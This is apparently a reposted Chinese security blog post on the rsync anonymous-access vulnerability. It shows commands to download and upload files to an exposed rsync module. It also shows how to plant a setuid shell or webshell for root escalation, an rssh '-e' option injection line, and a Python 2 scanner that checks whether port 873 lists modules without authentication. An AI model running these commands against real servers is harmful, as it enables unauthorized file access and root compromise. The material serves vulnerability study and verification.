Rsync匿名访问漏洞

前言



前两天总结了互联网或者说IT公司内网常见的漏洞,然后决定针对还没学习过不了解的漏洞进行学习了解,所以准备一一针对来研习,今天是第一篇,立一个Flag,争取今年搞定,为啥说的这么艰难,因为平时工作忙,不一定每周都有时间研究,说一下,常见的WEB类漏洞,弱口令漏洞就不在赘述了,不算在此次学习之列

Rsync简介



什么是Rsync


Rsync(remote synchronize)是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。

什么是Rsync的匿名访问


匿名访问很简单,不需要用户名,不需要身份验证的所有信息(包括各种口令、公私钥、生物学特征等等),简而言之就是一句话,没有任何访问控制,直接可以访问

一般危害


下载:#rsync -avz a.b.c.d::path/file path/filiname  
上传:#rsync -avz path/filename a.b.c.d::path/file

提权操作


#chmod a+s shell
#rsync -avz shell a.b.c.d::path/file
*查看shell权限不变,运行后提权到root,也可以尝试上传webshell*

rssh


此外rssh-2.3.3-3没有正确过滤-e选项,可能导致问题。

#rsync -e./script.sh  a.b.c.d::/tmp--server ./

漏洞验证


  • Metaspolit的auxiliary/scanner/rsync/modules_list
  • python脚本
# -*- coding:utf-8 -*-
"""
    Rsync匿名访问漏洞(未授权访问漏洞)验证工具
"""

#引入依赖的包和库文件
import os
import sys
import socket
import logging

#全局配置设置
logging.basicConfig(level=logging.INFO,format="%(message)s")
socket.setdefaulttimeout(3)


#全局变量
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)


#全局函数:
def str2Binary(content):
    """将文本流转换成二进制流"""
    return content.replace(' ','').replace('\n','').decode('hex')

def rsyncCheck(ip,port):
    """执行端口预检查"""
    global client
    try:
        client.connect((ip,port))
    except Exception,reason:
        logging.error("[-] 访问失败:%s"%reason)
        return False
    helloString = "405253594e43443a2033312e300a"
    try:
        client.send(str2Binary(helloString))
        hellodata = client.recv(1024)
    except Exception,reason:
        logging.error("[-] 通信失败:%s"%reason)
        return False
    if hellodata.find("@RSYNCD") >= 0:
        try:
            client.send(str2Binary("0a"))
        except Exception,reason:
            logging.error("[-] 访问失败:%s"%reason)
            return False
        while True:
            try:
                data = client.recv(1024)
            except Exception,reason:
                logging.error("[-] 通信失败:%s"%reason)
            if data == "":
                break
            else:
                if str(data).find("@RSYNCD: EXIT") >= 0:
                    logging.info("[*] 发现漏洞!")
                    return True
    return False


if __name__ == "__main__":
    ip = sys.argv[1]
    try:
        port = sys.argv[2]
    except Exception,reason:
        port = 873
        logging.error("[-] 端口未输入,按照873默认端口进行")
    try:
        port = int(port)
    except Exception,reason:
        logging.error("[-] 端口输入错误,按照873默认端口进行")
        port = 873
    if not rsyncCheck(ip,port):
        logging.info("[+] 测试安全!")

猜你喜欢

转载自www.cnblogs.com/KevinGeorge/p/8944175.html